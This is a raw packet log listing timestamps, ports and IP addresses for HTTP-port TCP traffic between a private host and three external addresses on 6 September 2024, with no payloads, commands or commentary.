Sep 6, 2024 08:17:06.031580925 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.031626940 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.031687975 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.031699896 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.031712055 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.031723022 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.031734943 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.031744957 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.031745911 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.031789064 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.031800985 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.031814098 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.031824112 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.031836987 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.031842947 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.031862020 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.031887054 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.032527924 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.032567024 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.032625914 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.032641888 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.032653093 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.032665014 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.032665014 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.032676935 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.032679081 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.032696009 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.032701969 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.032710075 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.032721043 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.032728910 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.032732964 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.032744884 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.032763958 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.032788038 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.033443928 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.033493996 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.033554077 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.033571005 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.033582926 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.033591032 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.033593893 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.033607960 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.033620119 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.033623934 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.033646107 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.033647060 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.033658028 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.033669949 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.033675909 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.033682108 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.033708096 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.033741951 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.034437895 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.034449100 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.034466982 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.034477949 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.034485102 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.034488916 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.034501076 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.034519911 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.034529924 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.034558058 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.034560919 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.034574032 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.034584045 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.034595013 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.034598112 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.034606934 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.034616947 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.034636021 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.034677982 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.035331011 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.035341978 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.035353899 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.035382986 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.035408974 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.035409927 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.035422087 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.035435915 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.035445929 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.035448074 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.035459042 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.035478115 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.035514116 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.055516958 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.055536985 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.055546999 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.055568933 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.055591106 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.064043999 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.064054966 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.064071894 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.064081907 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.064090014 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.064093113 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.064105988 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.064110041 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.064130068 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.064145088 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.064178944 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.064198017 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.064214945 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.064224005 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.064224958 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.064237118 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.064294100 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.064294100 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.064294100 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.071065903 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.071077108 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.071094036 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.071105003 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.071113110 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.071115971 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.071125984 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.071127892 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.071142912 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.071152925 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.071161985 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.071165085 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.071190119 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.071208000 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.071269989 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.071280956 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.071290970 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.071315050 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.071338892 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.071342945 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.071353912 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.071365118 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.071374893 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.071392059 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.071415901 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.071441889 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.071453094 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.071463108 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.071474075 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.071476936 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.071485996 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.071496964 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.071502924 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.071527958 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.071542978 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.071907997 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.071953058 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.071964979 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.071997881 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.072016954 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.072041035 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.072052002 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.072061062 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.072087049 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.072114944 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.072237015 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.072297096 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.072334051 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.072402954 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.072413921 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.072424889 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.072448969 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.072459936 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.072478056 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.072499037 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.072510958 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.072515965 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.072520971 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.072535992 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.072546959 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.072566986 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.072902918 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.072915077 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.072925091 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.072942019 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.072946072 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.072953939 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.072954893 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.072964907 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.072985888 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.073009014 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.073098898 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.073110104 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.073121071 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.073132992 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.073136091 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.073143959 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.073153973 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.073159933 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.073165894 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.073187113 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.073196888 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.073827982 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.073838949 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.073848963 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.073860884 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.073870897 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.073873997 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.073894978 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.073918104 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.073925018 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.073935986 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.073946953 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.073971987 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.073982000 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.074043989 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.074054956 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.074064970 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.074075937 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.074083090 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.074088097 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.074094057 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.074125051 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.074733973 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.074785948 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.074796915 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.074825048 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.074841022 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.074851990 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.074862003 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.074877977 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.074903965 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.074934006 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.074944973 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.074954033 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.074965000 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.074975967 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.074979067 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.074986935 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.074995041 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.075021029 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.075021029 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.075728893 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.075740099 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.075750113 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.075773954 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.075787067 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.075814009 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.075824976 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.075835943 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.075848103 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.075850010 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.075864077 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.075885057 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.075886011 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.075896978 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.075922966 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.075946093 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.075948954 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.075962067 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.075972080 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.075980902 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.075984001 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.076003075 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.076018095 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.076641083 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.079864025 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.092859983 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.092873096 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.092883110 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.092895031 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.092912912 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.092921019 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.092925072 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.092937946 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.092946053 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.092950106 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.092963934 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.092986107 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.092988014 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.092998028 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.093013048 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.093044043 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.093054056 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.101514101 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.101531982 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.101543903 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.101552963 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.101568937 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.101569891 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.101581097 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.101589918 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.101591110 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.101603985 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.101614952 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.101633072 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.101644993 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.101645947 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.101655006 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.101661921 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.101666927 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.101679087 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.101695061 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.101720095 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.101900101 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.101912022 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.101921082 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.101947069 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.101953983 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.101963997 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.101967096 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.101990938 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.102010012 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.102070093 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.102112055 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.102114916 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.102128029 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.102154970 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.102180958 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.102184057 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.102195978 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.102205992 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.102216005 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.102231026 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.102257967 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.102375031 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.102410078 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.102411985 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.102421999 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.102446079 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.102462053 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.102473021 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.102483034 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.102494001 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.102505922 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.102519035 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.102580070 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.102591991 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.102602959 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.102613926 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.102626085 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.102636099 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.102642059 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.102647066 CEST	80	49737	147.45.44.104	192.168.2.4
